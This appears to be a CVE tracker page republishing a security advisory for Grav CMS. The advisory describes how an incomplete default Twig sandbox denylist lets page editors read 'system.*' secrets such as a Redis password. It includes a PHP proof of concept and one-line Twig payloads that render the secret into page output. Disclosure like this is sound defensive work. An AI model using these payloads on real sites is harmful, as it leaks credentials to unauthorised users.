Critical Alert 1 Active Exploit Detected Today

CVE-2026-7273 Zyxel GS1900 Series Switches Stack-Based Buffer Overflow Vulnerability →
Powered by CVE Watchtower
×

CVE Watchtower

← Back to CVE List

CVE-2026-76846NVD

Vulnerability Summary

## Summary

`system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list
(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.
When an operator enables the documented, non-default `twig_content.config_access: true`
setting (intended to safely expose low-sensitivity values like `site.title` to
editor-authored Twig content), any real secret stored under `system.*` , for example
`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via
`config.toArray()`, to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,
but the shipped default denylist is incomplete.

## Environment used to verify

- Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`
- PHP 8.3.6 with curl, zip, dom, gd extensions installed
- Full `composer install --no-dev` run against the real repository (no mocked
dependencies) so the actual `Grav\Common\Config\Config` and
`Grav\Common\Twig\Sandbox\SandboxConfig` classes could be exercised directly

## Commands run to set up the verification environment

```bash
git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
```

## Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

```bash
grep -n "redis" -A3 system/config/system.yaml
# redis:
# socket: false
# password: # <- system.cache.redis.password, a real field
# database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
# cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password"
# type: text
```

`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of
`Config` or `SandboxConfig` themselves:

```php
<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
'system' => [
'cache' => [
'driver' => 'redis',
'redis' => [
'server' => '10.0.0.5',
'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
],
],
],
'plugins' => [
'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
],
'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());
```

Run:

```bash
php sandbox_test.php
```

Output:

```
plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
[system] => Array
(
[cache] => Array
(
[driver] => redis
[redis] => Array
(
[server] => 10.0.0.5
[password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
)

)

)

[site] => Array
(
[title] => My Site
)

)
```

`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in
full both via targeted `get()` and via bulk `toArray()`.

## Confirming the Twig-reachable path is real

`system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s
methods for use inside sandboxed page-content templates:

```yaml
- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
methods: 'get, toarray, value, offsetget, offsetexists'
```

So, with `twig_content.process_enabled: true` and `twig_content.config_access: true`
both set (both documented, operator-controlled settings), a page containing:

```twig
{{ config.get('system.cache.redis.password') }}
```

or

```twig
{{ config.toArray() }}
```

renders the real Redis password directly into the page output for any user with
page-edit permission.

## Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented `config_access` opt-in (intended only to expose things like `site.title`),
exposes that Redis password , and potentially other future `system.*` secrets , to
every user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.

## Suggested fix

Add `system` to the default `config_denied_paths` list in
`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and
any other subtree confirmed non-sensitive) so a future secret-bearing config key added
under `system.*` doesn't silently bypass the sandbox by default.

## Affected component

- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value
- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its
input; the gap is in the default list passed to it)
```
Severity Level
HIGH(7.5)
Published Date
Sep 17, 2026
Last Modified
Sep 17, 2026
Exploitation Status
No confirmed exploitation yet
EPSS Score (30-Day)
0.24%Probability
Root Weakness (CWE)
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
CVSS v4.0 Base Metrics — Score 8.7
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredNone
User InteractionNone
Confidentiality (Vulnerable System)High
Integrity (Vulnerable System)None
Availability (Vulnerable System)None
Confidentiality (Subsequent System)None
Integrity (Subsequent System)None
Availability (Subsequent System)None
CVSS v3.1 Base Metrics — Score 7.5
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityNone
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • getgrav/grav <= 2.0.15
Patched Versions
Not provided by Private for this CVE.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
⚙️Custom EPSS — Filter noise, focus on risk.
💬Webhooks — Slack & Teams integration.
🚫Ad-Free — Uninterrupted experience.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
⚙️Custom EPSS — Filter noise, focus on risk.
💬Webhooks — Slack & Teams integration.
🚫Ad-Free — Uninterrupted experience.

External References